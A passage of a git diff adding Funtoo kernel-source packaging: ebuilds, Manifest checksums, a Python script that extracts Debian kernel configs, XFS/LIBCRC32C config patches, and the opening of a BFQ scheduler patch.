index 00000000..bd7d6111
--- /dev/null
+++ b/sys-kernel/debian-sources-lts/metadata.xml
@@ -0,0 +1,6 @@
+<pkgmetadata>
+<herd>funtoo</herd>
+<maintainer>
+ <email>funtoo-dev@googlegroups.com</email>
+</maintainer>
+</pkgmetadata>
diff --git a/sys-kernel/debian-sources/Manifest b/sys-kernel/debian-sources/Manifest
new file mode 100644
index 00000000..97775aec
--- /dev/null
+++ b/sys-kernel/debian-sources/Manifest
@@ -0,0 +1,16 @@
+DIST linux_3.10.11-1.debian.tar.xz 750708 SHA256 5597033846bd3f992712f20e261062e1ac2320897594578bfab731702495ee52 SHA512 14afb60757457e3070766cbe97200987a9b9dc9d7a5d32077886753599cdeaf6a35d8ae3a6f9a39371633c11e8cc20942cbf4be6ac5f40ea49241df9cc3060a7 WHIRLPOOL d571f4ee852af76b79b7db2349227522e86f59ba4562f43c00a5a1cfe5067eca9e857a441cc695095968ebf74cb612ef9da9db4ee3f2bd54a5c6a08a70da123b
+DIST linux_3.10.11.orig.tar.xz 73944292 SHA256 c6337250fb9eaa258eefc37ee9f66d3c4fcf8db1e3b29e3c557e33f5df6a05c7 SHA512 e214a14f9ca70bdece4abb6ff82ee9b5e66694b8415d43d74455e6c31dbe4f39583ae0c7e14fc569bfb777131e34b5e2e35f819314b500f72cae80b67f3e6451 WHIRLPOOL 2bca020fade4ef2ebac5b96de957fbe5e69463dfc33c87b9f96259843125a9e2b9d1a3d2483e5450680ce400b1d2bea094dd7ac8ccf3964e31714bb2cfbb06e2
+DIST linux_3.11.10-1.debian.tar.xz 2688056 SHA256 9669805bb50cef3f89854b81f74de371391db798d700c3ea461b63132bc3e586 SHA512 42092c21d73e8f8d82688ec0ae1029324ebdb5e7814de23393986f3d917d9134bf043ee0ab96bb5d517ae1fc63165b80179f1afd14eecdab1ce4fb8e86ad0d51 WHIRLPOOL 23ddf48f55cb3dcef82bcae6ca35cd4bf4f1edf17bc9e31fdfb6730bce49b77d716c138973ec427455f2f2094d8011d383165d3a737052bbde1d1f43f5682843
+DIST linux_3.11.10.orig.tar.xz 75892436 SHA256 23f3392aa9d97e514e892b91691dba67d2cef9a064d49c0e4f90a12b9e3a8331 SHA512 5cb32460ab1d331c267723c2693659c66c030aac218bcefdcefde54a8af4eaa24b795fac067b9bf7fd17409fcbb7783787ef5389054ce44d0c327017ee7cfb87 WHIRLPOOL 2fe53bdeaae503b3d40ea4bb7b9f18f9ade47f99d72b6d4cedc74dc6431d649b999a7ae388daf88b6de8d8816d60d9f9de8a81460779aadd16463e47c511c426
+DIST linux_3.12.3-1~exp1.debian.tar.xz 770364 SHA256 34fdb9d6d368665a3fe468058c794058624d14db545ceefc8bf092bd11191609 SHA512 52c1a5563ef89b90249b27692b2a6c84fa2e4fd711c3563376a830bbafba280a22fef237b5eaedc01ccd87625a3a40450cd355497df5f946e9564d657a400077 WHIRLPOOL 624f91fe66f25090ab2976a075f9f26edc692fede685a07bf4d01c76b5134c29862602940b6062b22cc27f61a76b0372aa6b5a535607395da05f635596ea3c37
+DIST linux_3.12.3.orig.tar.xz 77289676 SHA256 52991a7699ace36517e9bca4442db0b1ad736f169d24186deaf4b133cb17816d SHA512 760c8de39431b1b34e76d887bd8747807fdbff0cdf65fb28847625151be2abc632ee3a0b30caefce1f3723ea4756fa51dbffb93590f5a47865e4cc5e93139e8e WHIRLPOOL a3aadb0210b72749c7a4d23d47eb62fc371d173812eb043b638c43af26c81da9ee6d0afa6a76678f892cc5376cbf007b5794afafa9560b2fb85890763146a13d
+DIST linux_3.2.29-1.debian.tar.xz 955952 SHA256 b421f738632fd0b85c6686313daea7e8cebd4d218af4f92a4e6327449d51f4d6
+DIST linux_3.2.29.orig.tar.xz 65725120 SHA256 e9fdd2a7f774188974f5e74a68a112e563763e0c83db7a8411d5d3bb4bee1213
+DIST linux_3.2.35-2.debian.tar.xz 2483540 SHA256 8ae153d652cb0a870128d202fe6cd93d89f2c70996217355ca5681b62cce37fb SHA512 b2e6e0fcbac4e2b4a0cfc958535c13f22a20387b557995e7e036b79f6d29061fbe79eddfc5de1e3abe200b4c765637b19773ab8e5c61f3842c449a3dc3a49f85 WHIRLPOOL 8b30cadfcdaad17fc73d9fb567c3f68abac0f9b4ae778ed500bd601edda654c3ba6dd498f6b7df77ab4ae55f5c2b8475134b39cef7ee818872dd19b915f6dd0d
+DIST linux_3.2.35.orig.tar.xz 65831540 SHA256 ea4c76c3820f9d7a07c7beb9f631a07d04613908c5f670afa200d677fd5f8538 SHA512 f2f931dc1169af7b19d4b9e88935297ee72b173b4fc946a8932f8599bb43164c23f7de4da2468319fa5991de7347b93c1b4a5a727c5d0b98db68e535cc1cedbe WHIRLPOOL 9c4e901c93e89bdbc4da45391a830f90839164cd3a565a7e836d121a5fe879b1611e7993a7061037caa5639c00fd0de98963934615cefb897895171668aa0641
+DIST linux_3.2.39-1.debian.tar.xz 3188844 SHA256 5332b4729956b341230cbbaff06fda0c51347e68a054c791e35a10898143ff13 SHA512 6c4aaba734da7193b33e5c2e49d4a771296f870e40570cbad79e253c6f85f551d29cb556f05851e18f8e474af23165de4bc921ef56037872597283d703e467e3 WHIRLPOOL 330d65b6bccf0de85bc9bc38c98a94bb5c41d9266cbc5abc48c23d9eb5e077dac25a480fc51c1e41187a7e5382d9194a167bcb8a7accc5f232d7ba5b1b16daf7
+DIST linux_3.2.39.orig.tar.xz 65857136 SHA256 663eb090fc2d7d5a3d0dc613a662baf44c5e0057a9e99b404299ee25546e7a91 SHA512 fae785b28689f1fac6741806136939a1d00a23fda07e7106259db14755a89bb35979c5f9792d48a969db547b9a0058bf824a9d1012059fbe57b128d5d2179fcf WHIRLPOOL 22fa44fc16b537d2140e7ef7bdff60b9d828129d8c3370b1260b576e1b40eb8052d41867a0bc229e8116a7fdb09c54bdcdbf49d07300cad9f793d4ede3377a33
+DIST linux_3.2.41-2+deb7u2.debian.tar.xz 3190452 SHA256 29400c7b48e78c18dcc05c19bbbbf42d229d6eaed6efd4baeb1eb4f168f17f30 SHA512 dc3b61a0bd843f53362532cef9aba4f50ee65141f77569d30838baf9cbf4ab154acb5dea018355c759dc0ec88db41c4cc03ae0831b28e7d8e0399f71f997a5bd WHIRLPOOL 22acf212881f4df1338f7b1bf4f5e3f4411ad19370b21cd6ea172b0ef25e84e632ad954992bb35da568ee384b4d3a9dfa3c56afdb7e4e2c8926a002d023cbcc6
+DIST linux_3.2.41.orig.tar.xz 65857856 SHA256 a74577ed87d53af9d880c1a11c0be50d44edbcaeb8b0db54f3d1dafbd3dcc386 SHA512 2c5c78d6ad5080e587ed03dcab328b7c7ae3b9b0fd2776196b4ba1519e445a3996cb70a0293ecedacc5713b61ca76935d19af37fc3d5a956cd21bc0d08e877e4 WHIRLPOOL 5a9b2e67d87e8b662a093de1148953b2818047112a9d9588286aa508393538dbc018314c2302069f06a8b3cf2046abd93b67db6d3cf7de339ca77ffbbb330abe
+DIST linux_3.2.51-1.debian.tar.xz 3260368 SHA256 6a2d6f80b886fce43df8092e3ba0f423190872a763c75b058f93133d9cbad8a0 SHA512 6966728af759fd86a4613ec1b8c33771243ab2d83aa66848137d91971820012f83a3b7084c2eaaee85ed790bb8b384794d283fe00d4ae54efb65cb0204f2386f WHIRLPOOL 4731a63f02d4895edc51c4c693772ffd3361ec5236d3d3a1b3c8453e3708ace33e0ca0a3bd424705f264458c0c1ff6f0ed4ddf57d12b6d75c1d9ca3fc0a32d8c
+DIST linux_3.2.51.orig.tar.xz 65876468 SHA256 a6f1aa8a0d5addc805e35d94457280975c5162990fb2f2a82de061d55932a3a3 SHA512 1141957380ecdf21358fee45f34e161be1b5822cdd625cab82413e588d0adaedb58bcbbec914b6ee2624a63cb470cc88d3f0cb6ee78f21178ad6c6fce49a0ada WHIRLPOOL e376767227757235954e238a94261482b4daa52823166ebf32c43504ad24d62ce9430b50418ff1f70bac1c0c247786d5f6f8c79f0b283c3a81369a918a78d0f7
diff --git a/sys-kernel/debian-sources/debian-sources-3.10.11.ebuild b/sys-kernel/debian-sources/debian-sources-3.10.11.ebuild
new file mode 100644
index 00000000..02039505
--- /dev/null
+++ b/sys-kernel/debian-sources/debian-sources-3.10.11.ebuild
@@ -0,0 +1,145 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=3
+
+inherit eutils mount-boot
+
+SLOT=$PVR
+CKV=3.10.11
+KV_FULL=${PN}-${PVR}
+EXTRAVERSION=-1
+KERNEL_ARCHIVE="linux_${PV}.orig.tar.xz"
+PATCH_ARCHIVE="linux_${PV}${EXTRAVERSION}.debian.tar.xz"
+RESTRICT="binchecks strip mirror"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="binary rt"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.40.7 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+SRC_URI="http://ftp.osuosl.org/pub/funtoo/distfiles/${KERNEL_ARCHIVE} http://ftp.osuosl.org/pub/funtoo/distfiles/${PATCH_ARCHIVE}"
+S="$WORKDIR/linux-${CKV}"
+
+get_patch_list() {
+	[[ -z "${1}" ]] && die "No patch series file specified"
+	local patch_series="${1}"
+	while read line ; do
+		if [[ "${line:0:1}" != "#" ]] ; then
+			echo "${line}"
+		fi
+	done < "${patch_series}"
+}
+
+pkg_setup() {
+	export REAL_ARCH="$ARCH"
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_prepare() {
+
+	cd ${S}
+	for debpatch in $( get_patch_list "${WORKDIR}/debian/patches/series" ); do
+		epatch -p1 "${WORKDIR}/debian/patches/${debpatch}"
+	done
+
+	if use rt ; then
+		for rtpatch in $( get_patch_list "${WORKDIR}/debian/patches/series-rt" ) ; do
+			epatch -p1 "${WORKDIR}/debian/patches/${rtpatch}"
+		done
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a "${WORKDIR}"/debian "${T}"
+	make -s mrproper || die "make mrproper failed"
+	#make -s include/linux/version.h || die "make include/linux/version.h failed"
+	cd ${S}
+
+	cp -aR "${WORKDIR}"/debian "${S}"/debian
+	# xfs fix for 3.10.11, see FL-823:
+	epatch ${FILESDIR}/debian-sources-3.10.11-xfs-libcrc32c-fix.patch
+
+	local opts
+	use rt && opts="rt" || opts="standard"
+	local myarch="amd64"
+	[ "$REAL_ARCH" = "x86" ] && myarch="i386" && opts="$opts 686-pae"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	#make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--mdadm \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+
+	# Fixes FL-14
+		cp "${WORKDIR}/build/System.map" "${D}/usr/src/linux-${P}/" || die
+		cp "${WORKDIR}/build/Module.symvers" "${D}/usr/src/linux-${P}/" || die
+
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources/debian-sources-3.12.3.ebuild b/sys-kernel/debian-sources/debian-sources-3.12.3.ebuild
new file mode 100644
index 00000000..86dae42e
--- /dev/null
+++ b/sys-kernel/debian-sources/debian-sources-3.12.3.ebuild
@@ -0,0 +1,145 @@
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=3
+
+inherit eutils mount-boot
+
+SLOT=$PVR
+CKV=3.12.3
+KV_FULL=${PN}-${PVR}
+EXTRAVERSION=-1~exp1
+KERNEL_ARCHIVE="linux_${PV}.orig.tar.xz"
+PATCH_ARCHIVE="linux_${PV}${EXTRAVERSION}.debian.tar.xz"
+RESTRICT="binchecks strip mirror"
+# based on : http://packages.ubuntu.com/maverick/linux-image-2.6.35-22-server
+LICENSE="GPL-2"
+KEYWORDS="*"
+IUSE="binary rt"
+DEPEND="binary? ( >=sys-kernel/genkernel-3.4.40.7 )"
+RDEPEND="binary? ( || ( >=sys-fs/udev-160 >=virtual/udev-171 ) )"
+DESCRIPTION="Debian Sources (and optional binary kernel)"
+HOMEPAGE="http://www.debian.org"
+SRC_URI="http://ftp.osuosl.org/pub/funtoo/distfiles/${KERNEL_ARCHIVE} http://ftp.osuosl.org/pub/funtoo/distfiles/${PATCH_ARCHIVE}"
+S="$WORKDIR/linux-${CKV}"
+
+get_patch_list() {
+	[[ -z "${1}" ]] && die "No patch series file specified"
+	local patch_series="${1}"
+	while read line ; do
+		if [[ "${line:0:1}" != "#" ]] ; then
+			echo "${line}"
+		fi
+	done < "${patch_series}"
+}
+
+pkg_setup() {
+	export REAL_ARCH="$ARCH"
+	unset ARCH; unset LDFLAGS #will interfere with Makefile if set
+}
+
+src_prepare() {
+
+	cd ${S}
+	for debpatch in $( get_patch_list "${WORKDIR}/debian/patches/series" ); do
+		epatch -p1 "${WORKDIR}/debian/patches/${debpatch}"
+	done
+
+	if use rt ; then
+		for rtpatch in $( get_patch_list "${WORKDIR}/debian/patches/series-rt" ) ; do
+			epatch -p1 "${WORKDIR}/debian/patches/${rtpatch}"
+		done
+	fi
+
+	# end of debian-specific stuff...
+
+	sed -i -e "s:^\(EXTRAVERSION =\).*:\1 ${EXTRAVERSION}:" Makefile || die
+	sed	-i -e 's:#export\tINSTALL_PATH:export\tINSTALL_PATH:' Makefile || die
+	rm -f .config >/dev/null
+	cp -a "${WORKDIR}"/debian "${T}"
+	make -s mrproper || die "make mrproper failed"
+	#make -s include/linux/version.h || die "make include/linux/version.h failed"
+	cd ${S}
+	cp -aR "${WORKDIR}"/debian "${S}"/debian
+
+	## XFS LIBCRC kernel config fixes, FL-823
+	epatch ${FILESDIR}/debian-sources-3.12.3-xfs-libcrc32c-fix.patch
+
+	local opts
+	use rt && opts="rt" || opts="standard"
+	local myarch="amd64"
+	[ "$REAL_ARCH" = "x86" ] && myarch="i386" && opts="$opts 686-pae"
+	cp ${FILESDIR}/config-extract . || die
+	chmod +x config-extract || die
+	./config-extract ${myarch} ${opts} || die
+	cp .config ${T}/config || die
+	make -s mrproper || die "make mrproper failed"
+	#make -s include/linux/version.h || die "make include/linux/version.h failed"
+}
+
+src_compile() {
+	! use binary && return
+	install -d ${WORKDIR}/out/{lib,boot}
+	install -d ${T}/{cache,twork}
+	install -d $WORKDIR/build $WORKDIR/out/lib/firmware
+	genkernel \
+		--no-save-config \
+		--kernel-config="$T/config" \
+		--kernname="${PN}" \
+		--build-src="$S" \
+		--build-dst=${WORKDIR}/build \
+		--makeopts="${MAKEOPTS}" \
+		--firmware-dst=${WORKDIR}/out/lib/firmware \
+		--cachedir="${T}/cache" \
+		--tempdir="${T}/twork" \
+		--logfile="${WORKDIR}/genkernel.log" \
+		--bootdir="${WORKDIR}/out/boot" \
+		--lvm \
+		--luks \
+		--mdadm \
+		--iscsi \
+		--module-prefix="${WORKDIR}/out" \
+		all || die "genkernel failed"
+}
+
+src_install() {
+	# copy sources into place:
+	dodir /usr/src
+	cp -a ${S} ${D}/usr/src/linux-${P} || die
+	cd ${D}/usr/src/linux-${P}
+	# prepare for real-world use and 3rd-party module building:
+	make mrproper || die
+	cp ${T}/config .config || die
+	cp -a ${T}/debian debian || die
+	yes "" | make oldconfig || die
+	# if we didn't use genkernel, we're done. The kernel source tree is left in
+	# an unconfigured state - you can't compile 3rd-party modules against it yet.
+	use binary || return
+	make prepare || die
+	make scripts || die
+	# OK, now the source tree is configured to allow 3rd-party modules to be
+	# built against it, since we want that to work since we have a binary kernel
+	# built.
+	cp -a ${WORKDIR}/out/* ${D}/ || die "couldn't copy output files into place"
+	# module symlink fixup:
+	rm -f ${D}/lib/modules/*/source || die
+	rm -f ${D}/lib/modules/*/build || die
+	cd ${D}/lib/modules
+	# module strip:
+	find -iname *.ko -exec strip --strip-debug {} \;
+	# back to the symlink fixup:
+	local moddir="$(ls -d [23]*)"
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/source || die
+	ln -s /usr/src/linux-${P} ${D}/lib/modules/${moddir}/build || die
+
+	# Fixes FL-14
+		cp "${WORKDIR}/build/System.map" "${D}/usr/src/linux-${P}/" || die
+		cp "${WORKDIR}/build/Module.symvers" "${D}/usr/src/linux-${P}/" || die
+
+}
+
+pkg_postinst() {
+	if [ ! -e ${ROOT}usr/src/linux ]
+	then
+		ln -s linux-${P} ${ROOT}usr/src/linux
+	fi
+}
diff --git a/sys-kernel/debian-sources/files/config-extract b/sys-kernel/debian-sources/files/config-extract
new file mode 100755
index 00000000..4860a645
--- /dev/null
+++ b/sys-kernel/debian-sources/files/config-extract
@@ -0,0 +1,219 @@
+#!/usr/bin/python2
+
+import os,sys,re
+import getopt
+
+re_head = re.compile('^binary-arch_(.*)_real::')
+re_flav = re.compile('binary-arch-flavour')
+re_item = re.compile("[A-Z_]*='[^']*'")
+
+try:
+	f=open("debian/rules.gen","r")
+except:
+	print "Unable to open debian/rules.gen; can't continue."
+	sys.exit(1)
+lines=f.readlines()
+f.close()
+
+line=0
+
+configlist = []
+configdict = {}
+
+# scan Debian rules.gen file and gather all variable data into a more useable format:
+
+while line < len(lines):
+	head_match = re_head.match(lines[line])
+	if not head_match:
+		line += 1
+		continue
+	config_name = head_match.group(1)	
+	line += 1
+	if not re_flav.findall(lines[line]):
+		continue
+	lsplit = re_item.findall(lines[line])
+	groovydict = {}
+	for item in lsplit:
+		kv = item.split("=",1)
+		if len(kv) < 2:
+			continue
+		groovydict[kv[0]] = kv[1][1:-1]
+	configlist.append(config_name)
+	configdict[config_name] = groovydict
+	line += 1
+
+# We will organize the arch, featureset and flavors into cascading lists so
+# that we can present a nice clean chart of what's available to the user:
+
+archdict = {}
+
+for config in configlist:
+	cs = config.split("_")
+	if not cs[0] in archdict:
+		archdict[cs[0]] = { } 
+	if cs[1] == "none":
+		cs[1] = None
+	if cs[1] not in archdict[cs[0]]:
+		archdict[cs[0]][cs[1]] = []
+	archdict[cs[0]][cs[1]].append(cs[2])
+
+arches = archdict.keys()
+arches.sort()
+
+features = [ None ]
+for arch in arches:
+	for flav in archdict[arch]:
+		if flav not in features:
+			features.append(flav)
+
+PROG="config-extract"
+def usage():
+	print """This work is free software.
+
+Copyright 2011 Funtoo Technologies. You can redistribute and/or modify it under
+the terms of the GNU General Public License version 3 as published by the Free
+Software Foundation. Alternatively you may (at your option) use any other
+license that has been publicly approved for use with this program by Funtoo
+Technologies (or its successors, if any.)
+
+usage: %s [options] arch [featureset] [subarch]
+  
+  -h  --help        print this usage and exit
+  -l  --list        list all available kernel configurations
+  -o  --outfile     specify kernel config outfile --
+                    defaults to .config in current directory
+  [featureset]      defaults to "standard" if not specified
+  [subarch]         defaults to the only one available; otherwise required
+
+This program was written by Daniel Robbins for Funtoo Linux, for the purpose of
+easily and conveniently extracting Debian kernel configurations. To see a nice
+list of all available kernel configurations, use the --list option.
+
+Debian's kernel configs are specified internally in arch_featureset_flavor
+format, such as: "amd64_openvz_amd64". The featureset typically describes an
+optional kernel configuration such as "xen" or "openvz", while the flavor in
+Debian terminology typically refers to the sub-architecture of the CPU.
+
+When using this command, you must specify an arch. A featureset of "standard" is
+assumed unless you specify one, and by default this program will pick the only
+available subarch if there is only one to choose from. If not, you will need to
+pick one (and the program will remind you to do this.)
+
+The kernel configuration will be written to ".config" in the current directory,
+or the location you specified using the -o/--outfile option.
+""" % PROG
+	sys.exit(2)
+
+try:
+        opts, args = getopt.getopt(sys.argv[1:], "o:hl", ["help", "list","outfile="])
+except getopt.GetoptError, err:
+	print str(err) 
+	usage()
+
+mode="run"
+outfile=None
+for o,a in opts:
+	if o in ("-h", "--help"):
+		usage()
+	elif o in ("-l", "--list"):
+		mode="list"
+	elif o in ("-o", "--outfile"):
+		outfile = a
+	else:
+		assert False, "Unhandled option"
+if mode == "run":
+	if len(args) < 1 or len(args) > 3:
+		if len(args) == 0:
+			print "Please specify an arch - one of: "+", ".join(arches)
+			sys.exit(2)
+		else:
+			print "Too many arguments."
+			usage()
+	arch = args[0]
+	if outfile == None:
+		outfile = os.path.join(os.getcwd(),".config")
+	featureset = None
+	subarch = None
+	if len(args) == 3:
+		featureset = args[1]
+		subarch = args[2]
+	elif len(args) == 2:
+		featureset = args[1]
+	if featureset == "standard":
+		featureset = None
+
+# print out optimized list of available kernel configurations:
+
+if mode=="list":
+	print
+	for flav in features:
+		label = flav
+		if label == None:
+			label = "standard"
+		print "====== %s featureset ======" % label
+		print
+		for arch in arches:
+			if flav in archdict[arch]:
+				if len(archdict[arch][flav]) == 1:
+					print arch.rjust(12)
+				else:
+					flavlist = archdict[arch][flav]
+					flavlist.sort()
+					variants = ", ".join(flavlist) 
+					print arch.rjust(12) + ":", variants
+		print
+	sys.exit(0)
+
+# featureset defaults to None.
+
+if featureset not in archdict[arch]:
+	print "Error: There is no '%s' featureset kernel config for arch '%s'. Exiting." % ( featureset, arch )
+	print archdict[arch]
+	sys.exit(2)
+
+# If a subarch is not specified (None), then we will auto-pick the subarch if only one is available.
+# Debian often has an "amd64" subarch for the "amd64" arch, rather than "none" as I might expect:
+
+if subarch == None:
+	if len(archdict[arch][featureset]) == 1:
+		subarch = archdict[arch][featureset][0]
+	else:
+		print "Error: there is more than one 'sub-architecture' for this arch."
+		print "Please specify [arch] [featureset] [subarch], with one of these subarches:"
+		print ", ".join(archdict[arch][featureset])
+		sys.exit(2)
+else:
+	if subarch not in archdict[arch][featureset]:
+		print "Error: specified sub-architecture '%s' is not available for this arch. Exiting." % subarch
+		sys.exit(2)
+
+# We've done all our arg processing, now let's construct the master_key that we will use to look up the
+# proper settings to pass to Debian's debian/bin/kconfig.py command:
+
+master_key=arch
+if featureset == None:
+	master_key += "_none"
+else:
+	master_key += "_%s" % featureset
+if subarch == None:
+	master_key += "_none"
+else:
+	master_key += "_%s" % subarch
+if master_key not in configdict:
+	print "Master key lookup failed; can't continue. Please report this bug."
+	sys.exit(1)
+if "KCONFIG" not in configdict[master_key]:
+	print "Unable to find KCONFIG option; can't continue. Please report this bug."
+	sys.exit(1)
+cmd = "python2 debian/bin/kconfig.py '%s' %s" % ( outfile, configdict[master_key]["KCONFIG"] )
+if "KCONFIG_OPTIONS" in configdict[master_key]:
+	cmd += " %s" % configdict[master_key]["KCONFIG_OPTIONS"]
+os.environ["PYTHONPATH"] = "debian/lib/python"
+retval = os.system(cmd)
+if retval == 0:
+	print "Wrote %s kernel configuration to %s." % ( master_key, outfile )
+	sys.exit(0)
+else:
+	print "There was an error extracting the Debian kernel config."
+	sys.exit(1)
+
diff --git a/sys-kernel/debian-sources/files/debian-sources-3.10.11-xfs-libcrc32c-fix.patch b/sys-kernel/debian-sources/files/debian-sources-3.10.11-xfs-libcrc32c-fix.patch
new file mode 100644
index 00000000..a20fecdc
--- /dev/null
+++ b/sys-kernel/debian-sources/files/debian-sources-3.10.11-xfs-libcrc32c-fix.patch
@@ -0,0 +1,21 @@
+diff -urN linux-debian-sources-3.10.11/debian/config/config linux-debian-sources-3.10.11-fixed/debian/config/config
+--- linux-debian-sources-3.10.11/debian/config/config	2013-08-17 13:57:25.000000000 -0600
++++ linux-debian-sources-3.10.11-fixed/debian/config/config	2013-12-10 15:58:46.512296124 -0700
+@@ -4183,7 +4183,7 @@
+ ##
+ ## file: fs/xfs/Kconfig
+ ##
+-CONFIG_XFS_FS=m
++CONFIG_XFS_FS=y
+ CONFIG_XFS_QUOTA=y
+ CONFIG_XFS_POSIX_ACL=y
+ CONFIG_XFS_RT=y
+@@ -4360,7 +4360,7 @@
+ CONFIG_CRC_ITU_T=m
+ CONFIG_CRC32=y
+ CONFIG_CRC7=m
+-CONFIG_LIBCRC32C=m
++CONFIG_LIBCRC32C=y
+ 
+ ##
+ ## file: lib/Kconfig.debug
diff --git a/sys-kernel/debian-sources/files/debian-sources-3.12.3-xfs-libcrc32c-fix.patch b/sys-kernel/debian-sources/files/debian-sources-3.12.3-xfs-libcrc32c-fix.patch
new file mode 100644
index 00000000..ca0ee89c
--- /dev/null
+++ b/sys-kernel/debian-sources/files/debian-sources-3.12.3-xfs-libcrc32c-fix.patch
@@ -0,0 +1,21 @@
+diff -Nuar -Nuar debian/config/config debian-fixed/config/config
+--- debian/config/config	2013-12-05 01:48:42.000000000 +0000
++++ debian-fixed/config/config	2013-12-14 07:39:56.017237225 +0000
+@@ -4425,7 +4425,7 @@
+ ##
+ ## file: fs/xfs/Kconfig
+ ##
+-CONFIG_XFS_FS=m
++CONFIG_XFS_FS=y
+ CONFIG_XFS_QUOTA=y
+ CONFIG_XFS_POSIX_ACL=y
+ CONFIG_XFS_RT=y
+@@ -4614,7 +4614,7 @@
+ CONFIG_CRC32=y
+ # CONFIG_CRC32_SELFTEST is not set
+ CONFIG_CRC7=m
+-CONFIG_LIBCRC32C=m
++CONFIG_LIBCRC32C=y
+ # CONFIG_DDR is not set
+ 
+ ##
diff --git a/sys-kernel/debian-sources/metadata.xml b/sys-kernel/debian-sources/metadata.xml
new file mode 100644
index 00000000..403aaa88
--- /dev/null
+++ b/sys-kernel/debian-sources/metadata.xml
@@ -0,0 +1,10 @@
+<pkgmetadata>
+	<herd>funtoo</herd>
+	<maintainer>
+  		<email>funtoo-dev@googlegroups.com</email>
+	</maintainer>
+	<use>
+		<flag name='binary'>Builds and installs kernel automatically</flag>
+		<flag name='rt'>Applies the CONFIG_PREEMPT_RT patch series</flag>
+	</use>
+</pkgmetadata>
diff --git a/sys-kernel/kogaion-sources/Manifest b/sys-kernel/kogaion-sources/Manifest
new file mode 100644
index 00000000..58c1ec81
--- /dev/null
+++ b/sys-kernel/kogaion-sources/Manifest
@@ -0,0 +1 @@
+DIST linux-3.10.25.tar.xz 73225500 SHA256 a6c46d88deaf4f0af9038d2d23b4ed617f901c5de38f1886b865c432f22ac7cd SHA512 843b117c44ce1622d07b7e566ab80a931bfc7ed9cf6f2837e62e0dc3e1d87ef504d8566ceed9cd8d68d6616b9495de7e8dfc59c34af20a61b99260694ae31b93 WHIRLPOOL cedfd73a3bb5ea680b59e18f5d8c714bf8a71e0441a29809c0db1bf79d16e167fc524f0387d3cd6044ff07132d1b7d168690f62aca1241e1a4149658e33ca5e6
diff --git a/sys-kernel/kogaion-sources/files/desktop/0001-block-cgroups-kconfig-build-bits-for-BFQ-v7-3.10.patch b/sys-kernel/kogaion-sources/files/desktop/0001-block-cgroups-kconfig-build-bits-for-BFQ-v7-3.10.patch
new file mode 100644
index 00000000..f92978cf
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/0001-block-cgroups-kconfig-build-bits-for-BFQ-v7-3.10.patch
@@ -0,0 +1,103 @@
+From 3ded69bee018e94b1cf5e13af9ff557f0f61ab30 Mon Sep 17 00:00:00 2001
+From: Arianna Avanzini <avanzini.arianna@gmail.com>
+Date: Mon, 27 Jan 2014 23:50:08 +0100
+Subject: [PATCH 1/3] block: cgroups, kconfig, build bits for BFQ-v7-3.10
+
+Update Kconfig.iosched and do the related Makefile changes to include
+kernel configuration options for BFQ. Also add the bfqio controller
+to the cgroups subsystem.
+
+Signed-off-by: Paolo Valente <paolo.valente@unimore.it>
+Signed-off-by: Arianna Avanzini <avanzini.arianna@gmail.com>
+---
+ block/Kconfig.iosched         | 32 ++++++++++++++++++++++++++++++++
+ block/Makefile                |  1 +
+ include/linux/cgroup_subsys.h |  6 ++++++
+ 3 files changed, 39 insertions(+)
+
+diff --git a/block/Kconfig.iosched b/block/Kconfig.iosched
+index 421bef9..8f552ba 100644
+--- a/block/Kconfig.iosched
++++ b/block/Kconfig.iosched
